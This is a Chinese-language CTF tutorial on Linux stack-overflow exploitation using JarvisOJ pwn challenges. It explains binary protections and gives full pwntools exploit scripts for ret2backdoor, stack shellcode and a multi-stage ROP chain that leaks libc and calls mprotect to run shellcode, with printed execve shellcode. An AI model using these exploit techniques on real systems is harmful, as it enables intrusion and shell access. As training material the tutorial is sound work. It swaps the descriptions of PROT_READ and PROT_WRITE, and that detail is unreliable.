作者:天融信阿爾法實驗室
公眾號:https://mp.weixin.qq.com/s/2b-tu6OzFGe-3_aHta1HmQ
這個系列主要介紹linux pwn的基礎知識,包括堆棧漏洞的一些利用方法。這篇文章是這個系列的第一篇文章。這里我們以jarvisoj上的一些pwn題為例來對linux下棧溢出利用和棧的基本知識做一個介紹做一個簡單的入門級介紹。題目地址:https://www.jarvisoj.com/challenges。
0. Level0,棧的基本結構及nx繞過
首先查看一下題目的保護措施(如下圖所示),可以看到是一個只開啟了NX的64位linux程序。

關于linux pwn常見的保護
0.RELRO
部分RELRO(由ld -z relro啟用):
-
將.got段映射為只讀(但.got.plt還是可以寫)
-
重新排列各個段來減少全局變量溢出導致覆蓋代碼段的可能性.
完全RELRO(由ld -z relro -z now啟用)
-
執行部分RELRO的所有操作.
-
讓鏈接器在鏈接期間(執行程序之前)解析所有的符號, 然后去除.got的寫權限.
將.got.plt合并到.got段中, 所以.got.plt將不復存在.
1.stack canary
在函數返回值之前添加的一串隨機數(不超過機器字長),末位為/x00(提供了覆蓋最后一字節輸出泄露canary的可能)
2.NX
no executable,標識頁表是否可執行
3.pie
elf文件加載基址隨機化,和系統的aslr不同。Linux系統的aslr可通過
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
關閉,其中
- 沒有隨機化。即關閉 ASLR。
- 保留的隨機化。共享庫、棧、mmap() 以及 VDSO 將被隨機化。
- 完全的隨機化。在 1 的基礎上,通過 brk() 分配的內存空間也將被隨機化。
下面我們分析下level0的功能并尋找漏洞,將程序拖進IDA中查看,

可以看到程序保留了符號表(這里也可以使用IDA的反編譯功能F5查看代碼,不過為了避免IDA反編譯的錯誤和一些數據類型導致的漏洞建議練習使用匯編查看關鍵代碼),在入口點main函數中先調用write(1,”Hello, World\n”,0xd)在控制臺輸出了Hello,World\n的字符串(在Linux中,文件流fd為0、1、2分別代表標準輸入、標準輸出和標準錯誤輸出,在程序中打開文件得到的fd從3開始增長);然后將write的返回值(eax)清零,并調用了一個叫vulnerable_function的函數,根據名字可以猜測這個函數是存在漏洞的。
我們跟進vulnerable_function函數

仔細觀察不難發現vulnerable_function中調用了read(0,buf,0x200),其中buf的位置是rbp-0x80,從標準輸入(fd=0)讀取的字符長度為0x200,這樣就造成了棧溢出。
下面考慮怎么利用棧溢出來劫持控制流到達任意代碼執行的效果。
一個比較典型的函數調用過程是:
1.開辟棧幀(函數棧空間)。棧的生長方式是從高地址向低地址生長,開辟棧幀一般的匯編指令(沒有經過inline hook優化的)是push bp(當前棧基址壓棧)、mov bp,sp(bp寄存器保存棧頂sp寄存器值)、sub sp,xx(開辟xx大小的棧空間)

2.設置函數參數(寄存器保存或者參數壓棧,棧中保存的參數逆序壓棧)

3.call新的func(call的原子操作是push下一條匯編指令pc,然后jump到func的地址繼續執行),func執行的過程重復1-3

這樣call func后棧空間的布局大致是

比較典型的函數執行完返回的過程是:
-
leave,等價于mov sp,bp;pop bp。mov sp,bp將開辟棧幀時保存的上一個棧頂sp寄存器的值(開辟棧幀時mov bp,sp使用bp寄存器保存)恢復到sp,此時棧頂sp指向圖中bp的位置;pop bp恢復bp寄存器后sp指向pc的位置
-
retn,等價于pop ip,此時sp指向pc,pop ip將pc處的值賦值給ip寄存器,即返回到caller’s pc處繼續執行
從以上過程不難看出只要我們控制了caller’s pc的值就可以在函數返回的時候返回到我們控制的pc處繼續執行,從而劫持控制流執行我們的代碼。
所以構造level0的payload為padding+bp+pc,其中padding覆蓋棧空間為0x80字節大小。由于程序開啟了nx保護(no execute,代碼頁不可執行),所以我們不能在函數返回的位置(pc)直接添加shellcode執行任意代碼。nx保護一般的繞過方式是代碼重用,即利用可執行代碼頁的代碼來達到我們想要的任意代碼執行的目的。仔細觀察這個題目中有一個函數叫callsystem,跟進發現是一個執行system(‘/bin/sh’)的預置后門,所以我們把pc賦值成callsystem的地址400596即可。

腳本如下
from pwn import *
context.log_level='DEBUG'
rmt=1
if rmt:
r=remote('pwn2.jarvisoj.com',9881)
else:
r=process('./level0')
sys_addr=0x400596
payload='a'*0x80+'b'*8+p64(sys_addr)
r.sendlineafter('Hello, World',payload)
r.interactive()
1. level1,未開啟nx保護寫shellcode執行任意代碼
漏洞類型、成因與level0一致,只不過level1是一個32位未開啟nx的程序(棧代碼頁可執行),程序中沒有出現像level0一樣的后門(system(‘/bin/sh’)),我們這里考慮寫shellcode執行任意代碼。

程序輸出了buf的地址,我們在buf的位置布置shellcode然后覆蓋返回地址為
buf地址執行shellcode即可。構造payload=shellcode+padding+bp+ret,其中shellcode+padding覆蓋棧空間,大小0x88;32位bp的長度為4字節;ret的地址覆蓋為程序輸出的buf的地址即可。
關于shellcode的編寫,我們可以使用pwntools提供的shellcraft模塊,也可以自己編寫system(‘/bin/sh’)的調用。一個比較好用的linux系統中斷號查詢網址(自備飛機)https://syscalls.kernelgrok.com/
查詢可得0xb調用號為sys_execve,eax=0xb,ebx=path,ecx=argv,envp=0即可執行sys_execve(path,argv,envp)的調用。
腳本如下
from pwn import *
context.log_level='DEBUG'
rmt=1
if rmt:
r=remote('pwn2.jarvisoj.com',9877)
else:
r=process('./level1')
r.recvuntil('this:')
buf_addr=int(r.recvuntil('?',drop=True),16)
payload = asm(shellcraft.sh()).ljust(0x88,’\x90’)
payload+=’b'*4 + p32(buf_addr)
r.send(payload)
r.interactive()
pwntools提供的shellcode
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
2. level5,利用rop繞過aslr、nx、讀取shellcode修改內存屬性執行任意代碼
level2,level3,level4都是rop相關的pwn。level5在level3的基礎上加了限制,這里以level5為例做一個rop的示范。rop即Return-oriented Programming(面向返回的編程),主要思路是修改函數棧的返回地址利用代碼塊gadget來達到任意代碼執行的效果。(看到這里,相信你已經對棧的結構和劫持控制流的過程有了初步了解,嘗試去理解一下下面這個利用rop多次觸發漏洞繞過很多限制最終執行任意代碼的過程吧;p)

Level5給出的限制的意思是使用mmap分配一塊內存,然后使用mprotect改變內存屬性為可執行最終達到任意代碼執行的目的。由此可以想到的思路是:
- 泄露libc基址繞過aslr,得到mmap、mprotect的地址
- 程序未開啟pie,加載基址固定,容易想到的一個比較方便的存放shellcode的地址是bss段。這里我們把shellcode寫到bss段基址處
- 由于開啟了nx保護,bss段內存不可執行,所以需要mprotect改變bss段內存屬性為可執行

- 覆蓋函數返回地址為bss段基址執行shellcode
1) 泄露libc基址繞過aslr
首先需要明確的一點是不管程序開沒開啟pie都是需要繞過aslr的,因為程序運行加載的動態庫即libc是開啟pie的,我們需要得到libc中函數的地址,反推我們需要得到libc的基址。
最終目的:執行write(1,write@got),返回到程序起始點以便多次觸發漏洞

Linux下函數傳參方式如上所示,我們只需使第一個參數rdi=1,第二個參數rsi=write@got,返回到write@plt執行即可。
got和plt表是linux實現動態連接的方式。plt即procedure linkage table, 進程鏈接表,這個表里包含了一些代碼用來調用鏈接器解析外部函數地址,填充到got表中并跳轉到該函數;如果got表對應函數地址已經填充則在got表中查找并跳轉到對應函數。got即global offset table全局偏移表,如果已經填充符號函數對應地址,對應got項為相應函數地址;如果沒有填充符號函數地址,內容為跳轉到對應plt表項的代碼并在plt表中完成對應函數地址的查找。
使用ROPgadget搜索可得賦值rdi的gadget地址為0x4006b3

由于函數地址在內存中相對于libc加載地址的偏移和函數在libc中的偏移是相同的,我們用讀到的write@got的值減去write在libc中的偏移即為libc在內存中加載的基址。
2)把shellcode寫到bss段基址處
最終目的:執行read(0,bss_addr,sizeof(shellcode)),返回到程序起始點以便多次觸發漏洞。執行的這段rop代碼是從控制臺讀取shellcode到bss段,執行完rop我們還需要輸入要執行的shellcode
3)修改bss段內存屬性
最終目的:執行mprotect(bss_addr,0x1000,7),并返回到程序起始點
其中mprotext的prot為7標識可讀可寫可執行,prot可以取以下幾個值,并且可以用“|”將幾個屬性合起來使用:
-
PROT_READ:表示內存段內的內容可寫;
-
PROT_WRITE:表示內存段內的內容可讀;
-
PROT_EXEC:表示內存段中的內容可執行;
-
PROT_NONE:表示內存段中的內容根本沒法訪問。
4)覆蓋函數返回地址為bss段基址,即shellcode的起始地址
最終腳本如下:
from pwn import *
context.log_level='DEBUG'
local=1
if local:
r=process('./level3_x64')
else:
r=remote('pwn2.jarvisoj.com',9883)
file=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')
def debug():
if local:
print 'pid: '+str(r.pid)
pause()
prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600A88
start_addr=0x4004F0
'''
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x0000000000001b8e : pop rdx ; ret
'''
payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)
libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b8e
print hex(libc_base)
print hex(mprotect)
print hex(prdx)
payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)
debug()
payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))
debug()
payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)
r.interactive()
總結
這篇文章主要介紹了棧的基礎知識和一些棧溢出pwn的方法、原理,希望大家讀完能有所收獲。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1108/
暫無評論